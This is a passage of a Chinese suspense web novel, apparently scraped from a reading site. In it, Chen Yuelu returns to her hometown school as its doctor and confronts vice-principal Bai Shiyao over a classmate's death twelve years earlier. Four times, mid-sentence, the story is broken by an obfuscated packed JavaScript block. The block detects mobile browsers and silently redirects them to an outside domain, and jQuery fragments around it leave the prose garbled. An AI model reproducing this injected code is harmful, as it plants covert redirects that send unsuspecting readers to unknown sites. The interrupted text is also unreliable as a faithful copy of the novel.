哗啦,黄得洪和章斌说话之间,院子里传来院门打开的声音。章斌家养的大狼狗叫得欢,一辆三轮嘟嘟开进来,见到来人后,狼狗熄了声。
黄得洪谨慎地透过窗户往外看,张珍花从三轮车上下来,带着套袖和围裙,拎着一个篮子直接走进屋子。她大概46岁,身材敦实,头发短得像个男人,嘴角和眼角一同往下耷拉。
在黄得洪印象里,这个女人一直都挂一副不欢迎人的表情。他猜大概就是女人这副死丧冷漠的模样,才使得章斌的爸爸在十多年前硬是跟她离了婚。
张珍花从大缸里舀了一瓢水,咕咚咕咚下肚。忽然听到了章斌屋子里的说话声,她放下瓢,快步朝章斌的屋子走过去,她一把撩开帘子,目光往屋里扫,看见是黄得洪,她脸上的警惕又变成一股明显的厌烦。
十二年前,马玲玲死亡案发后,张珍花就极其讨厌黄得洪。她一直觉得是黄得洪把他儿子带坏,如果不是这群狐朋狗友,她那聪明老实的儿子也不会犯下那个被人戳脊梁骨的错误,也就不会被死者的家属弄成残废,一辈子都娶不上媳妇,只能窝在家里头捏泥人。
她目光紧紧盯着黄得洪,那嫌恶的表情,就差出声往外赶人。
黄得洪心里骂了一句,知道呆不下去了,不高兴地从女人身侧绕过,甩门走了。
张珍花又看了章斌几眼,章斌躲开对方的视线,垂着头接着开始揉那坨陶泥,慢慢把它捏成一个人脸的形状。
张珍花环视了一遍四周,见一切如常,什么也没说,转身退到了客厅里。她把篮子里的已经切好的肉丝肉片肉丁分类码在冷冻室,把各样的蔬菜,一口袋的馒头,一摞新烙好的饼,一袋子焖子、熟食驴肉和两罐榨菜都按序放进冰箱冷藏室,很快冰箱中下层空间已经塞满,只有最上层还空着,她没往那里放。
那里章斌够不着。
她就把多出来的菜直接洗干净,放在了厨房的案板边上。
张珍花要出门一段时间。
她是个搞装修的工人。她一个女人,在答应和章卫国离婚前,硬是先跟着他学会了水电改造,等他完全从母子俩生活里离开后,她就开始跟人合伙接点装修的活计,靠着这些东一点西一点的散活儿和几亩地,养活了章斌。
章斌没出事儿之前,张珍花不是现在这种硬邦邦的性格,她家境还可以,哥哥叫张继国,大她5岁,是个性格和气老好人。她们家打小有点重男轻女,但张继国很疼她,他有一块钱也会毫不吝啬地分给张珍花5毛,惯得张珍花觉得她做什么张继国都不会责怪她。
突然有一天,她的儿子成了杀人犯,被受害者家属砸碎了两条腿;她的哥哥出了脑溢血,病好不容易控住,又确诊了阿尔茨海默;她老公受不了后来的生活,离婚远走了。
张珍花不知不觉就被改造成了这副样子。她从来不笑,时刻紧绷着,时刻警惕着,话说得极少,只是永不疲倦地在干活。她比章斌更像一个服刑的囚徒。
张珍花走到院子,从车上又取了些东西,掏出钥匙,打开东边的小屋,她往里头倒腾了半晌才出来,出来后她抱了更大一包东西,最后小心地锁上门,又开着三轮车走了。
张珍花开着三轮车到了县里,她把车停在了张记杂货店旁边。
在收银台边上的赵冬阳看见她,张张嘴,低声叫了一句:“张婶儿。”照说他应该叫姑,但张珍花不承认和他的亲属关系,禁止他称呼自己姑。
张珍花从车斗里抱了一堆东西下来,里头有衣服,有鞋,有她腌的咸菜,有几斤驴肉和时令水果。都是照着张继国的身材尺寸和口味喜好买的。
她目光往里探了探,赵冬阳指了指屋里头:“张叔在里头睡觉,要不我去叫他?”
张珍花像被惊到了一样,“不用。”她放完东西直接快步往外走,又停下来,转过身突然一指那一包衣物,对赵冬阳说:“那里头给你有一件毛衣。”
赵冬阳礼貌地回复:“谢谢婶儿。”他印象里张珍花变化很大,她以前是个有点骄横和妒忌心的女人,说话叽叽喳喳,喜欢跟夏琳争,没少给自己白眼。
发生那些事后,她就变成了这副操劳冷冰有距离的模样,不爱说话,她每次来都是放下东西,远远看张继国一眼就走。
张珍花走后,赵冬阳也清完了店里的活儿,见日头还好,把醒了的张继国推到店门口,他打了盆水,试了试水温,拿毛巾给老头认真地抹了一遍脸、脖子跟胳膊。他动作轻,目光很认真,这事儿已经做了千八百边了,但他每一遍都是这么认真,没有丝毫不耐烦。
有不知情的人看到这一幕会盛赞这个儿子真孝顺,而知道内情会唾弃他一句虚情假意,猫哭耗子的扫把星。
赵冬阳早就辨不清做这些事情的心情和动机,他只是当成一件非常日常的事情在做,像吃饭喝水一样熟练。
他从来没叫过张继国爸,尽管两人在同一个户口本上。十几年相处下来,他们已经成了最熟悉的人,但却永远不会是亲人。如果没有那场变故,他和张继国大概是有机会成为真正的亲人,但从那天后,就只剩下一个神志不清的债主和一个债海无涯的债务人。
被清洁过的张继国不知从哪里来了精神,从兜里颤颤地掏出一个带花的发圈,大概是哪个顾客丢的,被他给捡到了。他戳了戳赵冬阳,把发圈摊在手里给他看。
赵冬阳有点愣住。
张继国用含糊不清的话语说:“等……等夏琳。”
赵冬阳浑身发紧,轰隆隆轰隆隆,他觉得后背仿佛有道雷劈过一样。
继而张继国把发圈攥在左手,另一只手捂住左手上,两手都放在腿上,满含期待地看向远方:“夏琳戴好看,我等着给她。”
赵冬阳深深吸了两口气,才让自己从一阵眩晕中挣脱。
这是张继国这么多年头一次提到夏琳。
赵冬阳看着他,张继国的神情像个期盼的小孩一样不停往远方张望。
半天后赵冬阳才说:“夏琳不会回来了,就是她害你这样的。”
张继国又嘟囔了一句:“等夏琳,会回来。”
赵冬阳有点受够了,想把他推回屋里。张继国却闹了起来,捏着发圈儿的手臂往赵冬阳身上用力挥了几下,固执地
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885191|159853||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
大喊:“等夏琳,等夏琳!”
这声响引得路人侧目,这些目光像秤砣一样压在赵冬阳脊梁上。
赵冬阳放弃了,慢慢蹲下来,把头抵在轮椅的扶手上轻声说:“你别这样,你是嫌我的愧疚还不够重吗?”
愧疚就像粘稠发臭的沥青一样,会无时无刻不把赵冬阳困住。
十二年前,夏琳跟张继国结婚的时候,镇上就已经有了流言蜚语,夏琳高张继国半个头,人漂亮,说普通话,在大城市里呆过,气质说像明星也不为过。
而张继国除了是一个老好人以外,别无他长。
于是总有人背后说夏琳要么目的不纯,要么是玩够了找老实人接盘。
赵冬阳那时候只有14岁,为了那些流言蜚语没少跟人打架。他对夏琳的选择从没有任何苛责,对张继国这个继父也没有任何意见,他比夏琳之前交往过的男人看上去靠谱得多,至少张继国没有骗过她,也没有一个不肯离婚的原配妻子。
然而半年后,张家的倒霉事儿像是有引力一样扎了堆儿,张继国妹妹的儿子章斌害死了人。张继国为其各种奔走,取出了自己的所有存款,准备赔偿和打点。
而夏琳在这个节骨眼,拿了那笔救侄子的钱直接消失了。
这件事儿就像根引线,把赵冬阳后续的生活轰炸了个粉碎。
有人说失踪前其中有个男人开着奥迪来这个小镇子来找过她,当时两人在那辆奥迪车里聊过很久。这个画面甚至被好事者拍了照片。
有更好事儿的人把这照片直接拿给了张继国看,说他媳妇跟旧情人私奔了。
照片和流言让心焦了很多天的张继国高血压一下子演变成脑溢血,被抢救了整整两天,之后他整个下肢偏瘫了。
那时候张继国身边还有一个四岁的亲生女儿,张继国病发的时候,14岁的赵冬阳没法儿顾及这个小女孩,选择把她锁在家里,自己带着张继国去医院就诊。但没过多久,赵冬阳就在医院接到邻居通知,那个叫婷婷的小女孩不知怎么跑了出来,直接跑到马路上,被车撞了,人还活着,但整个左臂粉碎。
人们怀疑夏琳骗婚,替张继国报了警,张继国还没出院,小婷婷还在抢救,赵冬阳在寒冬腊月就被叫到警察局里去做笔录。后来婷婷的亲妈,张继国的前妻站在这个店门口,把赵冬阳和他妈大骂了个狗血淋头,要了一大笔钱后,带走了那个小女孩。
人人都说他是白眼狼狐狸精的儿子,他和他妈把张家祸害得家破人亡,欠人张家的几辈子还不清。
如果用一个词语去形容赵冬阳那一段时间的感受,那就是五雷轰顶。
以至于在今天想起,他都觉得,有滚滚的雷电在头顶发挥着威力,那些巨大的惩戒的能量正在一道一道地劈砍在他身上。
张继国戳了戳赵冬阳,清晰的触感把他拉回现实。
赵冬阳抬头,面前站着一个年轻的女人。
那女人笔直站立,斜背着一个书包,她认真地看着自己,身上带着一股淡淡的消毒水味儿,声音清亮地问候道:“赵……冬阳?你还记得我吗?我是陈月露。”
5. 重逢
赵冬阳自然记得陈月露。
她们是初中同学,都在同口一中就读,同一年级不同班级。
陈月露在初中的时候像棵小豆芽菜一样,个子只到赵冬阳的下巴,脸上有婴儿肥,一头软软的厚厚的泛着金色的齐耳短发,整个人乖乖的软绵绵的。
她还是赵冬阳转来这个小镇以后认识的第一个朋友,在他为数不多的觉得美好的校园生活记忆里,都有这个女孩的身影。
类似某些关于美好的水印一样,只要一出现就令人心情愉悦。
时隔这么久,依然残留着一定效力。
后来赵冬阳的人生逐渐滑入深渊,陈月露也因为某些原因转学走了,两个人的人生就像两条交叉的直线,逐渐变远。
一下就过去了12年。
而她从这个非常奇怪的时刻突然蹦了出来,轻轻地冲淡了赵冬阳被拖入那些旧事中的窒息感。
日头变得烈起来,赵冬阳把张继国推回杂货店。
在这转瞬间,张继国又忘记了夏琳的存在。
赵冬阳招呼陈月露进来坐,陈月露四周看看:“这里比我记忆里稍微变化了一些。”
赵冬阳简短地回答了一遍做过哪些改造,类似一个导游。
他问她想喝什么饮料,陈月露要了一瓶矿泉水。
“冰的还是常温的?”
“冰的。”
赵冬阳从冰柜里取出一瓶矿泉水,仔细擦了一下瓶身上的水雾才递给她。
陈月露的目光落在他身上,他长高了,身高快有一米八,整个人晒黑了些,捏着水瓶的胳膊薄而有肌肉,肩背和以前一样平直,脸比以前稍微有了骨骼感,依然遗留着一些少年感。
以前他在学生中是个意气风发的那种类型,而她在初中里则像一个随时快要溺死的小动物。
他在很多时刻都保护过自己,也曾经是非常好的朋友。但他却不知道的是,是他的存在使她撑过了那段最黑暗的时光。他那些仗义的举动,几次都阴错阳差地替她挡住了罪恶的降临。
陈月露心里升起一股久别重逢的愉快,她接过矿泉水,淡淡地说:“你除了长高了,跟以前变化倒是不太大。”
赵冬阳笑了笑,也拧开一瓶水,目光没有重力地往她脸上落了一下,“如果不是你自报名字,我都不会认出你来。”
她现在变得欣长,婴儿肥都褪去了,五官更加立体,她不瘦弱也不羞怯了,举止更加利落。
赵冬阳指指眼睛,“你以前都不戴眼镜。”
陈月露抬了一下眼镜:“没保护好眼睛,后悔死了。”
“你是不是好久都没回来过了?”赵冬阳断断续续听说过她的一些消息,去了市里最好的高中,后面考上了一所很好的大学。虽然学的是什么他不知道,但总之过的是比他好得多的人生。
“嗯,一直在外面上学,毕业后在北京工作了一年。”
赵冬阳顺口问道:“过得还不错吗?”
屋内陷入了一阵短暂的沉默。
赵冬阳不知道这个问句让她在想什么。陈月露歪了一下头,略努力地思索后说道:“不知道怎么才算不错。”
她慢慢喝了一口水说:“应该说是比较幸运才对。”
她刚开始脱离初中那段往事时,是一种麻木感,而逐渐了解到以前旧事的真正全貌后,陈月露才发现自己不仅是受害者,也不仅是旁观者,还是一个幸存者。
她之后产生严重的创伤——头痛,无法入睡,易怒,吞咽困难,那些梦魇般的事件在她脑海里不断闪回,每一次都能成功引发她的窒息。
她不明白明明自觉都已经对伤害脱敏了,为什么却还是持续地产生着这样的痛苦。
直到她走出来后知道,她这种情况有个专业名词叫做“幸存者内疚”。
她半垂着头,手指轻轻捏了一下水瓶又松开,“有一段时间过得很辛苦,那种辛苦像是在一场巨大的灾难后,只有自己一个人徘徊在灾后的现场,”
“但很快就过去了,我找到了排解方式。痛苦只要有了目标,人生就会一下子顺畅起来。”
她语气平淡,说得内容很克制。但赵冬阳依然感受到了她的阴霾。他有一丝意外,他意识里那个可爱的小豆包的命运走向应该是安稳又温暖的。她是那种小妹妹一样的角色,总能引发人的怜悯和善意。没人会忍心让她的生活里有重创和波折。
赵冬阳刻意没有去问那些波折,而是下意识抬手拍了一下她的脑袋,“那都过去了。”
陈月露歪着头看他,连眼睛都笑了。
时间和命运好像给两个人划出了一条巨大的隔阂。
但再见面,那条鸿沟却很轻易消失了。
好像重新回到了初中时候。
赵冬阳换了个话题问:“那,你这次回来是办事儿?呆多久?”
“呆挺久的,”陈月露说:“我租了这旁边的房子。”
“什么?”赵冬阳怀疑了一下自己的耳朵。
“我租了你家旁边的房子,我们以后是邻居了,房东说那房子没有收拾过,我本来是想见见你,再从你这边借点工具打扫。”陈月露非常认真地说,她又指了指不远处的同口一中,补充说:“那里会是我工作单位。”
赵冬阳的意外更加明显,他没有想过陈月露是回来工作的。
她是成了一个初中老师吗?而在这个十八线的小县城里,同口初中的教育资源一直贫瘠,升学率低迷,无路是薪资还是发展,对年轻人来说都不是好的选择。
“行,回来也挺好。”赵冬阳嘴上这么说,没再发表任何见解,转身去杂货间帮她拿清洁工具。
陈月露则拿起一个小筐,开始在店里选择生活用品。她仿佛什么都缺乏,牙膏、毛巾、床单、拖鞋,连内裤都是现买的一次性,零零散散攒够了两大包,看得赵冬阳略微吃一惊。
结完账,赵冬阳帮她把东西拎到隔壁。她还带了一个大行李箱,放在楼梯拐角处,赵冬阳伸手拎了一下,异常重。陈月露走过去,搬起箱子的底部,和赵冬阳一人一边,两人一起抬上了二楼。
而一上楼,赵冬阳直接皱起了眉。房间
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885192|159853||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的状况看上去惨不忍睹,地面上积攒着的污垢使瓷砖看不出原来的颜色,墙面暗沉的墙纸已经发了霉,衣柜的柜门是歪斜的,木床是快散架的,看上去唯一完好的是一张桌子。
陈月露按了一下墙上的开关,又打开了水龙头,水电还能用。但燃气点不着。
“这怎么住人,”赵冬阳说:“小月亮,你不是被骗了吧?”
“是比想象中麻烦。”陈月露的神色比想象中淡定,她挽起来袖子,抬手把披在肩膀的头发扎起,掏出一张湿巾,把唯一完好的木桌上的灰土擦干净,提着的两大袋子生活用品先摆放在桌上。
“我来得急,没有花太多时间调查,那房东说也提前说了这个房子要收拾打整,我也没想到情况会这么糟。房租我已经交了一年,下午就要去报道,更换住所也来不及,还麻烦。”
她取出买的一沓用来做抹布的小毛巾,厨房用的污垢净,还有一些其他清洁用具,在桌子上摆开后,她环顾了一遍四周,向赵冬阳说:“好在水电能用,大致能收拾出来。”
赵冬阳见她还是打算住下来,便低头发了几个消息。随后他在每个房间里转了一圈,记下了需要维修的地方,他跟陈月露说:“卧室衣柜柜门需要打螺丝,发霉的墙纸要铲了重新贴,厕所和客厅的灯各坏了一个,洗手台要打一圈密封胶,不然漏水,木床干脆扔了算了,修整不出来,两条街外就有卖床的,可以挑个便宜的将就用一下。剩下就是打扫了,这个地面估计得洗三遍。”
陈月露还在估测这个工作量,赵冬阳又说:“就算你现在加紧处理也得老一阵子了,你不如先去学校报道。要信得过我,这点事儿我帮你弄。”
“那你店里怎么办?”陈月露问。
“没事儿,有人帮我看,我叫了个朋友。”
陈月露没有废话,她看了一眼时间,从桌面拿起书包,“真的很谢谢,我有点赶时间,后面请你吃饭。”
“客气什么。”赵冬阳说着,用手机一一拍下房间里需要维修的地方,又搬过来一个凳子,站上去准备卸下坏掉的灯泡。
陈月露刚走到楼梯边,又转身看向赵冬阳,窗户透进来的光给他嵌了个边,她喊了一声:“冬阳哥”
赵冬阳转头。
陈月露说:“见到你真高兴。”
她平静地说完,然后咚咚咚地下了楼。
陈月露穿过一条街,就直接来到了要报道的学校门口。
她以前就在这所中学读书。
她看着门口金底黑字写着校名的招牌,记忆一下子回到了12年前的那天。
14岁的陈月露站在学校的大门口,心里只有恐惧。在刚结束的那个混乱寒假里,她的同班同学马玲玲被三个学生害死了,警察用了不到三个月就解决这个案子。
陈月露却怀疑真正的杀人凶手并没有被逮捕,而那个人就坐在他们班里,等待着她们这群小羔羊重返学校。
12年弹指过去,陈月露眼睛里闪出一丝冷峻,她跟保安讲明了来意,一脚踏进了这所曾噩梦出现过无数次的学校。
6. 噩梦
学校的变化很大,新修了几栋新的教学楼和宿舍,围墙也重新修葺过,整个校区占地面积比陈月露印象中扩大了不少。
陈月露依然顺利找到了校长的办公室,杨校长已经65岁,头发已经有一半变白,他是十年前调过来,到现在都已经是超年龄工作,没多少时间就要退了。
他一见陈月露进来,摘下老花镜,非常高兴地站起来,“小露,你还真来了。”
陈月露礼貌地笑,“我还能说着玩吗?我可带齐了资料来入职的。”她把抱在怀里的资料双手递给杨校长,细心问道:“赵阿姨身体恢复得怎么样了?”
杨校长给陈月露拿了一瓶矿泉水,又重新戴上花镜,翻看着她的材料,“恢复可好了,已经能自己上楼了,你赵阿姨还老说起你,念叨你可是她救命恩人。”
“前年要不是你摇来你导师给她执刀,她也不能恢复这么好。就是这资格来我们学校当校医有点可惜。”杨校长看着陈月露的简历,“白瞎了这么好的学历。”
“可别这么说,我可好不容易考上了的事业单位编。”陈月露回道,“在北京我爸妈老说一年见不着我几回,而且大医院那工作强度,久了我身体也扛不住。”
陈月露说完,脸上挂上一个乖顺的微笑。
杨校长视线跃过鼻梁上架低的眼镜看了陈月露一眼,“不管什么原因,有年轻人来是好事,来了就好好干。”他说完在劳动合同上签下了字。
“我带你出去走走转转,第一天报道,熟悉熟悉环境。”
陈月露收好材料说:“我就是咱学校毕业的,虽然好久没回来了,但大致环境还算熟,您要忙,就不用管我。来时候我也看见了校医室,我直接过去就行。”
“那行,你自己到处转转,有不熟悉的或者需要协助的就找我,也可以找白世尧白校长,他办公室就在楼下。”说完,杨校长又一拍脑门,“我都忘了,这会儿他可能不在,去市里领奖去了。”
陈月露半垂下眼眸,微笑着说:“没事儿,以后有的是时间相处。”
她说完走出了校长室。
白世尧正从公交车上下来,他刚去市里领了“先进教育工作者”的证书。
他走之前还觉得眼角有点突突乱跳,他前两天就看到了微博上被推送得沸沸扬扬的消息。有人借着招魂儿重新提起十二年前的那件事儿。
那是他职业生涯的一个耻辱。
被害死的那个叫马玲玲的女孩是他的学生,而且杀人犯之一黄得洪也曾经在他班里就读过。
这件事儿发生后,给同口一中造成了不小的名誉损失,他也被调离了岗位一段时间。
幸好他蛰伏的时间足够长,吸取了足够的教训,最终又被调回到工作岗位,一做就是十二年。
他再也没有犯过类似手忙脚乱的错误。
也重新掌握回了失控的人生。
现在他已经是副校长,只等正校长一离职,他就能顺利接任。在这个县城里,一所学校校长的title,可以让他后半程过得顺风顺水,饱受尊重。
那本红彤彤的表彰证书正揣在他的提包里,像一把熨斗,给他心里的褶皱和涟漪慢慢抚平了。
他这么想着,脸上挂上一个温和亲切的微笑,跟校门口的保安点了个头。
保安室老马正拿着一把蒲扇扇凉,说:“校长看着这么高兴啊,”门亭子了没有空调,被夏末的温度烧灼得像个炉子。
白世尧停下脚步,他关注到这个细节,往亭子里看了两眼,顺口问道:“这么热的天儿,没开个电风扇吗?”
老马在身后那台旧电扇上拍了两下,“刚坏了。”
白世尧体贴地说:“等经费下来,你这门亭里该安个空调,这种天气多受罪。”随即他掏出手机发了一条消息出去,“我叫几瓶冰饮料,请大家喝水。”
老马摇着扇子感谢说:“老让你请客,多不好意思。”
白世尧摆摆手,回说:“这应该的,没几个钱。”他说完便走去了办公室。
陈月露已经大致熟悉了学校的布局,之后她开始去各个办公室里和老师做自我介绍,还从中认出来了几个以前的教过自己的老教师。
一个小个子的地理老师看着陈月露的脸,努力搜索回忆说:“你叫……你叫啥来?”
“陈月露,02级的。”
“哎呀,这大姑娘长得可真好。你以前才那么小一点,圆脸大眼,看着萌萌的,我还有你照片呢。”跟记忆对上号后,她热情地从身后抽屉里拉出一本相册,往前翻了几页,翻到了一张旧照片上,那是12年前初二三班拍摄的集体合照。
地理老师指着最角落的一个小女孩高兴地说:“你瞅你瞅,是你不。”
陈月露配合地看了一眼那张合照,那是一张大合唱的班级合照,她个子矮,站在第一排最旁边,眉头点着红点,脸蛋上擦着鲜红的腮红,乖巧腼腆的看着镜头,而她左边的一个小女孩正不安分地附在她的耳朵上说悄悄话。
陈月露又多看了两眼,她自己都不记得有这张照片。
地理老师也指着她身边那个小女孩,“那时候你老跟这个小丫头在一块玩,她叫什么来着?”
“董敏。”陈月露目光落在小女孩身上,想起初中时候自己也有过一段轻松愉快的时光。
“对,你俩性格相反,一个内敛,一个外向,她老爱说话了。最后拍照结束,因为说小话还挨了骂。你跟董敏还有联系不?”
陈月露摇摇头,“初三时候,我转学走了,之后就没怎么联系。”
“那挺可惜。”
“嗯。”陈月露又指了一个看上去一眼突出的小女孩说:“校花就是校花,画这样的妆都这么招眼儿。”
“张雪薇嘛,好几年都没见过那么好看的小女孩了。”地理老师说。
“你看,老师你就记得学习成绩好的,跟长得好看的。”陈月露开着玩笑。
“那谁能忘得了,当年不是还有两群男生为了她打架?记忆深着呢。”
陈月露接上话题,“张雪薇现在生活状态是啥样?老师知道不,以前你们天天教育她光长得好看没什么用。”
“人家过得好着呢,在市里开了个店,她对象还是那
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885193|159853||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个,当年为她打架的同学之一,男的老有钱了,俩人都快结婚了。”
“是吗?”陈月露微怔了片刻,声音慢慢压低下去,“那有时间可要去拜访一下。”
她再往照片看去,目光一滞,因为她看到了照片里还活着的马玲玲。她站在最后排,目光正不知看向何处,画着和陈月露一样好笑的妆容,那么清晰鲜活有生气。
陈月露心里重重一沉,挪开了视线。
“你回来去看你班主任了吗?”地理老师又问。
“还没有,校长说他去市里领奖了。”
地理老师看了一眼表,“差不多该回来了。”
“那我去打个招呼。”陈月露站起身,礼貌地和办公室的老师道了别。
陈月露离开任课老师的办公室后,脸上的微笑消失了。她深吸了一口气,从包里拿出一只荧光玻璃丝编成的手链,目光往手链上停留了许久,缓慢套在自己手腕上。随即她面无表情地推开了白世尧办公室的门。
白世尧正在摆放他的荣誉证书,他身后是一个红棕色的玻璃展柜,里面罗列着各种照片跟证书,玻璃门上反射出陈月露的身影,白世尧转过身。
他看了一眼这个看着有点眼生的女孩,问道:“你什么事儿?”
陈月露静静地端详了他几秒,她一眼就辨认出他来,时间让很多人都发生了变化,可他看上去跟12年前还是一模一样。
她心里演练过这个场景无数次,直到能够平静地露出笑容。
她开始自我介绍,“我是新来的校医,我过来报道。”
白世尧哦了一声,眼角不知怎么又开始突突直跳。他扶了一下眼镜,靠在那张皮质的椅子上,想了一会儿,按着以往惯例问道:“你是杨校长招来的吧?手续都办齐了?”
陈月露把自己的入职资料给了白世尧,她又翻出一张表格递过去,是办理饭卡和工作证的申请表。白世尧略微翻了一下便准备签字时,而目光扫到表格最上栏时,他停住。
陈月露的名字非常熟悉。
他又抬头看女孩。
陈月露对上他的视线,面色平静地说:“白老师,你不记得我了?”她伸手撩了一下耳边的头发,手上露出那串荧色丝线编制的手链。
白世尧忽然把笔扔了出去,他连带着厚重的凳子往后一扥,豆大的汗水刷地流下来。
陈月露往前走了一步,白世尧的眼角跳的更加汹涌,他不知道她回来干什么。但在她平静到诡异表现的压迫下,不由自主地又往后退了一步。
陈月露把带着那个旧手链的手腕伸到他面前,几秒后,她伸出食指点了一下那份签字到一半的申请表格,“白老师,您字还没签完。”
白世尧缓过神来,他迅速又扫了一遍那些入职材料和申请表格,一个北京名牌医学院毕业的高材生,来这个小县城的医务室里当校医,入职流程也已经走得差不多。
而她手腕上特意戴的那条用玻璃丝儿编的手链,那是12年前的款式,跟当年那个人手上的一模一样。
这是冲当年的事情来的,换句话说,这是冲他来的。
7. 秘密
白世尧强迫自己保持冷静,把那份表格签完。
陈月露伸手抽过入职相关的资料和表格,微笑着往后站了一步,她看着白老师,“以前您是我恩师,从今天起,我们是同事,多妙的缘分~”
她伸出手朝向白世尧,荧光的玻璃丝手链吊着几颗红彤彤的塑料珠子,在她细白的手腕底下晃来晃去。
白世尧的脸色僵得发青,他迟迟没有回应,片刻后他终于站起身,迅速整理好表情,伸手要去握住陈月露的手掌,还没触及,女孩就把手收了回来。
白世尧的手握了个空。
陈月露毫不在意地拿起自己的包,微笑着对白世尧说:“我这几年经常会想起十二年前的初中生活,有时候做梦都会梦到。您看我是多么没法儿忘记这段时光。为此我甚至连睡都睡不好。”
“您呢,白老师?”
“什么?”白世尧略微有点失神。
陈月露像个动物轻轻歪了一下头,“我是问,这12年,您能睡得好吗?”
听闻这话,白世尧脸上一僵,不自主地摘下眼镜不断擦拭。
随后他的防御机制终于启动。已经12年了,一切都已经尘埃落定,他还怕什么呢。
等再戴上眼镜,白世尧的表情带上一丝阴鹜,“我记得你那时候一直都很听话,”
陈月露脸上的笑容褪去,她微微攥起手指,眼睛带着冷峻。
“这么多年,就属于你最听话,课文也念得最好。”他没再躲避陈月露的视线,眼睛微微眯起。
随即,陈月露产生了一股无法抑制的恶心。
“哦,老师没有什么睡不好的。毕竟,老师一直都以你们骄傲。”说完,白世尧露出他面具般的皮笑肉不笑的笑容。
站在校长办公室门口的赵冬阳,无意中听到了白世尧和陈月露的这番对话。
半个小时前,他正在给陈月露租的房屋的洗手台打防水胶,三饼给他发了一条消息,说对面学校的白校长发消息订了一箱冰镇的饮料,他离不了店,让赵冬阳忙事儿的空档去送一下。
赵冬阳脱下手套,先回了自己店里,他身上的衣服已经被汗打湿了一片,他潦草地用水洗了一遍脸,在肩上搭了条毛巾,提溜着一袋子冰水步行去到学校门卫室。
老马接了水,赵冬阳和他有一搭没一搭聊了一会儿后,拿着收银小票熟门熟路地去了白世尧的办公室。
每次订完水,他都是这样去找白校长收钱。
白世尧办公室的门大开着,赵冬阳一眼就看见了站着的陈月露。
阳光从窗户照进来,使她那一头泛着金色的头发像一罐儿蜜糖。
赵冬阳没有立即进去,捏着小票站在门口等了一下。然后他断断续续地听到了陈月露和白世尧的对话,也看见了白世尧那一脸见鬼的惊恐。
不知为什么,他觉得这一幕似曾相识。
他似乎在初中时,也曾经这样等在过白世尧的办公室门口。
那时十分怯懦胆小的陈月露会怀着极度的害怕走入白老师的房间。赵冬阳就会站在门口,耐心等待她结束与老师的见面。
14岁的赵冬阳脑子很简单,以为她只是单纯地害怕老师。那时候老师是一种权威的符号,越乖巧的学生越会怕老师。
毕竟那个年代体罚辱骂都是家常便饭。连赵冬阳每次被叫到办公室都要做一番心理建设,更别说陈月露。
于是他一直以为自己只是一个壮胆和陪伴的角色。
现在发现,那些时刻是不是有什么隐情。
这么多年后,白世尧为什么那么心虚,为什么会害怕成年后的陈月露?
而陈月露又为什么说自己这十二年常常记起这里的事情?
当年到底发生过的事情为什么过了12年才重新提及?
赵冬阳把小票慢慢塞回兜里,他什么也没问,当作什么也没看到,转身离开了这里。
他回到陈月露租好的那间出租屋,花了点时间把剩下的活儿干完,一直到学校放学的时间点,陈月露也迟迟没有回来。
他在空旷的房间里站了一会儿,目光落在了她留下来的那只大行李箱。他又重新拎了一下,非常重,他推测里面是大量书本。
她只带了这一个箱子回来。
不知为什么,赵冬阳觉得她的秘密就藏在这个箱子里。他把箱子慢慢放下,推到一个不起眼的墙角。
赵冬阳用陈月露留给他的钥匙,锁好这间已经收拾干净的出租房。回到店里,他把工具收拾好,又去看了张继国的情况。
三饼叫了张继国喜欢吃的外卖,老头举着炸鸡正认真看着赵忠祥解说的动物世界。
三饼交完班儿也骑着小电瓶回去了。
赵冬阳冲完凉换了身衣服,坐在店门口,屋外的暮色已经降临,夏日的余温缓慢地蒸干了他身上的一点水汽,慢慢放空的脑海中浮现出白天那一幕。
他觉得好奇,小月亮是回来干嘛的。
没别的事儿做,赵冬阳开始试着收集陈月露这个老同学的信息。
他知道陈月露初中毕业后去了市里的一所高中,他进去了那
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885194|159853||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
所高中的官网,点开历年升学率的表彰名单,他们是04年初中毕业,但07年的名单里没有陈月露的名字。
